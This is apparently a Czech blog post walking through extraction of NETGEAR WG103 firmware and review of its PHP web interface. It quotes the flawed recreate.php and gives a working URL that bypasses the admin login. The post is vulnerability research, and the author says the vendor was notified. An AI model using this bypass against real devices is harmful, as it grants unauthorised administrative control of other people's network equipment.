Shodou okolností a k mému štěstí se mi na stole objevil bezdrátový Access Point NETGEAR WG103. Nejedná se sice o žádnou horkou novinku na trhu - zařízení je vyráběno již poměrně dlouhou dobu, nicméně výrobce k němu pokud se nepletu poskytuje doživotní záruku a navíc mě zaujalo označení řady "ProSafe" který ve mě evokoval "pocit ještě většího bezpečí"...
Na zařízení jsem spínačem reset provedl obnovu do továrního nastavení a počal jej testovat. Jelikož web rozhraní zrovna neoplývalo rychlostí, narychlo jsem ho prozkoumal a poté se rozhodl, že se pustím rovnou do analýzy firmware.
Firmware (verzi 2.2.5) jsem do svého testovacího stroje s Debianem stáhl přímo ze stránek výrobce:
# mkdir ~/firmware
# cd ~/firmware
# wget -c http://www.downloads.netgear.com/files/GDC/WG103/WG103_V2.2.5_firmware.zip
Po rozbalení archívu se ukázaly soubory WG103_V2.2.5_firmware.tar a WG103_V2.2.5 Release_Note.html
# aptitude install unzip
# unzip WG103_V2.2.5_firmware.zip
Archive: WG103_V2.2.5_firmware.zip
inflating: WG103_V2.2.5_firmware.tar
inflating: WG103_V2.2.5 Release_Note.html
Relase note jsem přeskočil a rozbalil TAR se samotným firmware.
# tar -xvf WG103_V2.2.5_firmware.tar
Objevily se čtyři soubory
- vmlinux.bin.l7
- rootfs.squashfs
- root_fs.md5
- kernel.md5
Jádra systému (vmlinux.bin.l7) ani kontrolních součtů (root_fs.md5 a kernel.md5) jsem si opět moc nevšímal. To co mě zaujalo byl soubor rootfs.squashfs. Neočekával jsem sice nějaké vysoké zabezpečení image filesystému, ale že to bude až tak jednoduché mě opravdu překvapilo. K prohlédnutí jednotlivých souborů už stačilo SquashFS archív pouze rozbalit. Tady ovšem nastala chyba - SquashFS vyhodil chybovou hlášku: "Can't find a SQUASHFS superblock on rootfs.squashfs"
# aptitude install squashfs-tools
# mkdir firmware-extracted
# unsquashfs rootfs.squashfs firmware-extracted/
Can't find a SQUASHFS superblock on rootfs.squashfs
Bylo mi jasné že buď nesedí verze UnsquashFS nebo že je ve SquashFS použita nějaká komprese. Rozhodl jsem se tedy filesystém prozkoumat BinWalkem. Ten mi prozradil, že se opravdu jedná o SquashFS, ovšem vybavený kompresí LZMA + drobným problémem jménem big endian.
# aptitude install python python-magic
# wget -c http://ftp.us.debian.org/debian/pool/main/b/binwalk/binwalk_1.0-1_amd64.deb
# dpkg -i binwalk_1.0-1_amd64.deb
# binwalk rootfs.squashfs
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
0 0x0 Squashfs filesystem, big endian, lzma signature, version 3.1, size: 4380852 bytes, 1345 inodes, blocksize: 65536 bytes, created: Fri Jan 20 00:46:46 2012
Jelikož jsem byl líný dokolečka stahovat a rekompilovat zdrojové kódy různých verzí Squashfs-Tools s podporou LZMA, šáhnul jsem po "hotovém řešení" v podobě Firmware-Mod-Kit-u. Ten zjistil, že je filesystém zabalen verzí 3.3 s podporou LZMA a dokonce se mu jej podařilo extrahovat.
# wget -c https://firmware-mod-kit.googlecode.com/files/fmk_099.tar.gz --no-check-certificate
# tar -xvf fmk_099.tar.gz
# aptitude install g++ build-essential zlib1g-dev liblzma-dev
# cd fmk/src/others/
# make
# cd ../..
# ./unsquashfs_all.sh ../rootfs.squashfs ../firmware-extracted/
Attempting to extract SquashFS .X file system...
Trying ./src/others/squashfs-2.0-nb4/unsquashfs...
Trying ./src/others/squashfs-3.0-e2100/unsquashfs-lzma...
Trying ./src/others/squashfs-3.0-e2100/unsquashfs...
Trying ./src/others/squashfs-3.2-r2/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-hg612-lzma/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-wnr1000/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-rtn12/unsquashfs...
Trying ./src/others/squashfs-3.3/unsquashfs...
Trying ./src/others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools/unsquashfs...
created 1004 files
created 99 directories
created 197 symlinks
created 45 devices
created 0 fifos
File system sucessfully extracted!
MKFS="./src/others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools/mksquashfs"
Rozbalený firmware víceméně ničím nepřekvapil - standardní adresářová struktura, BusyBox a hromada zbytečných wrapperů tak jak to u těchto zařízení bývá.
# cd ../firmware-extracted/
# ls
bin dev etc home lib linuxrc proc root sbin tmp usr var
Největší "poklad" jsem nalezl v adresáři /home/www
# ls ~/firmware/firmware-extracted/home/www
background.html boardData103.php checkConfig.php common.php downloadFile.php header.php include linktest.php login_header.php logout.php recreate.php saveTable.php support.link thirdMenu.html tmpl BackupConfig.php body.php checkSession.php config.php getBoardConfig.php help index.php LOCOMATE_11p login.php packetCapture.php redirect.html sessionCheck.inc templates thirdMenu.php UserGuide.html boardData102.php button.html clearLog.php data.php getJsonData.php images killall.php login_button.html logout.html productregistration redirect.php siteSurvey.php test.php titleLogo.php wpsstatus.php
Po prohlédnutí zdrojových kódů se mi udělalo hodně zle. Tolik bezpečnostních chyb jsem pohromadě snad ani neviděl. Nebudu zde odhalovat jednotlivé bezpečnostní problémy, tak alespoň jeden libový za všechny: v souboru recreate.php jsem nalezl následující kód:
<?php
session_start();
if($_GET['username']=='admin'){
@unlink('/tmp/sessionid');
session_destroy();
session_start();
$_SESSION['username']=$_GET['username'];
@$fp = fopen('/tmp/sessionid', 'w');
fwrite($fp,session_id().','.$_SERVER['REMOTE_ADDR']);
fclose($fp);
echo 'recreateok';
}
else {
header('location:index.php');
}
?>
Bez hlubšího zkoumání kontextu předpokládám, že měl sloužit k vygenerování nové session_id a prodloužení celého sezení. Na začátku však kodér zapomněl přidat kontrolu, zda-li je uživatel již přihlášený (v systému je pouze jeden uživatel - admin). Díky této fatální chybě tak stačí přes webový prohlížeč zadat adresu
https://IP_ADRESA_ROUTERU/recreate.php?username=admin
čímž se vygeneruje sezení s již přihlášeným administrátorem. Útočník tak vůbec nepotřebuje znát přihlašovací údaje aby se dostal k administraci celého zařízení. Podobných chyb je ve web rozhraní více....
Na tomto případě lze krásně vidět, že ani dostatčně silné heslo nemusí být nutně nepřekonatelnou bariérou proti zákeřným útočníkům.
Varování: Výše uvedený text slouží výhradně k výukovým účelům. Autor jakýmkoliv způsobem nikoho nenavádí k neužití nalezené chyby nebo k páchaní jiné trestné činnosti. Výrobce zařízení Netgear byl kontatován a zhruba po týdnu odpověděl, ať kontaktuji přímo centrálu v Polsku. Uvidíme, jak se bude komunikace vyvíjet dále.